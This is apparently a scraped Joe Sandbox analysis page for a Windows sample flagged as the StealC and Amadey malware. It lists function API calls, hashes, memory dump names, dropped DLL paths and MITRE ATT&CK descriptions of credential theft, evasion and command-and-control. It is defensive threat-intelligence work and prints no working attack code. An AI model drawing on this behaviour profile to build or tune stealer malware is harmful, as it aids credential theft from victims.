API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 5b5254f9bf48210b4c53eb42b72938b67f366d2fd13be283498988cd9fdc80c8
Instruction ID: 9bc2893ca29a5acb23947e5a019882039b3da2a321b5d36d6f51ebb07e15a602
Opcode Fuzzy Hash: 5b5254f9bf48210b4c53eb42b72938b67f366d2fd13be283498988cd9fdc80c8
Instruction Fuzzy Hash: 9D31C4B16467818FDB106F78D9856697BB4FF0A348F054669E8A887B11EB34D0C6CB82

Function 6CAF0F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CA92AF5,?,?,?,?,?,6CA90A1B,00000000), ref: 6CAF0F1A
malloc.MOZGLUE(00000001), ref: 6CAF0F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CAF0F42
TlsGetValue.KERNEL32 ref: 6CAF0F5B

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: c84dc376fae1e8be4c9e12b5ac8d5bd3a681762f6c76d0908887e97c8daa8ac7
Instruction ID: 04ceaca63fcdecb6743dc9563161133a92af00098821a3d49452a9595a743119
Opcode Fuzzy Hash: c84dc376fae1e8be4c9e12b5ac8d5bd3a681762f6c76d0908887e97c8daa8ac7
Instruction Fuzzy Hash: 1801DDB1A012D05BFB101779DE4456A7A6CEF52299F050165FC68C3A11D731C49687E2

Function 6CAA1EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6CAA1ECE
free.MOZGLUE(?), ref: 6CAA1EDF
free.MOZGLUE(?), ref: 6CAA1EEF
free.MOZGLUE(?), ref: 6CAA1EF5

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: fcda4ed84cb5291fe4aec318d7b7f719bf7933c7fabe000a59a3421dca68856f
Instruction ID: e4855fc23277eca68aefed0e05957d5088809209e524e5b27bb4b4e90d4e7c6d
Opcode Fuzzy Hash: fcda4ed84cb5291fe4aec318d7b7f719bf7933c7fabe000a59a3421dca68856f
Instruction Fuzzy Hash: 76F0B4B1700211BBEB109BA9EC45D37777CEF49594B080425ED19C3A00E725F45186A1

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\GCBGCGHDGIEGCBFIEGCBAKJJEB

C:\ProgramData\GHCGDAFCFHIDBGDHCFCBFBFIIJ

C:\ProgramData\HIDAAKEG

C:\ProgramData\IIIECAAKECFHIECBKJDH

C:\ProgramData\JEBKEHJJ

C:\ProgramData\JEBKEHJJDAAAAKECBGHD

C:\ProgramData\JKKEBGCGHIDHCBFHIDGH

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre